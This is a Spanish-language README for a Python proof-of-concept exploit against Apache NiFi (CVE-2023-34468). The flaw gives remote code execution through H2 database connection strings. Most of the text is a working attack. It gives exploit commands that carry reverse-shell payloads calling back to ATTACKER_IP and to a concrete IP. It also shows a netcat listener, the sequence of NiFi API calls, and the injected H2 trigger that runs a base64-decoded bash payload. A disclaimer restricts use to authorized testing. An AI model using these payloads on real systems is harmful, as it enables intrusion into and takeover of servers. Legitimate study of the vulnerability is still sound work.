
CVE-2023-34468 - Apache NiFi H2 RCE PoC
Este repositorio proporciona una herramienta de explotación basada en Python para CVE-2023-34468, una vulnerabilidad crítica de ejecución remota de código (CVSS 9.8) en Apache NiFi versiones 0.0.2 a 1.21.0. Permite a usuarios autenticados ejecutar código arbitrario manipulando cadenas de conexión de bases de datos H2 con triggers embebidos.
⚠️ Advertencia: Solo para fines educativos y pruebas autorizadas. El acceso no autorizado a sistemas informáticos es ilegal.
requestsnc -lnvp 5555)git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468
pip install -r requirements.txt
# Inicia tu listener
nc -lnvp 5555
# Ejecuta el exploit — la autenticación se detecta automáticamente, no se necesitan flags para instancias abiertas
python3 exploit.py \
-t http://nifi.target.com:8080 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555
python3 exploit.py \
-t https://nifi.target.com:8443 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555 \
-u admin -p password123
python3 exploit.py \
-t https://nifi.target.com:8443 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555 \
--token <your_bearer_token>
python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup
python3 exploit.py --help
Verificación: Revisa tu listener para la conexión de reverse shell. Ejecuta id para confirmar la ejecución de código.
/nifi-api/system-diagnostics/nifi-api/process-groups/root/controller-services/nifi-api/controller-services/{id}/run-status con estado ENABLED/nifi-api/processors/{id}/run-status con estado RUNNING — el trigger H2 se dispara al conectarjdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
$$--=x
Puntos clave:
\;BEFORE SELECT ON INFORMATION_SCHEMA.TABLES (auto-activado)# Ejecutar el exploit directamente
python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555
python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555
Esta herramienta se proporciona únicamente para investigación de seguridad y pruebas autorizadas. El autor no es responsable del mal uso o daños causados por este exploit. Siempre realice pruebas de manera responsable solo en entornos autorizados.
Licencia MIT - Consulte el archivo LICENSE para obtener más detalles
Creado para investigación de seguridad y pruebas de penetración autorizadas.
Topics: apache-nifi h2-database rce exploit cve-2023-34468 python security-research
| Comando | Descripción |
|---|
-t, --target | URL de la instancia NiFi objetivo (obligatorio) |
-c, --command | Comando a ejecutar (obligatorio) |
-lh, --lhost | Host del listener para callback (obligatorio) |
-lp, --lport | Puerto del listener para callback (obligatorio) |
-u, --username | Usuario de NiFi (instancias autenticadas) |
-p, --password | Contraseña de NiFi (instancias autenticadas) |
--token | Token portador (instancias autenticadas) |
--no-cleanup | Omitir limpieza después de la explotación |
--delay | Segundos de espera antes de la limpieza (por defecto: 10) |
--driver-path | Sobrescribir la ruta del jar del driver H2 (omitido por defecto) |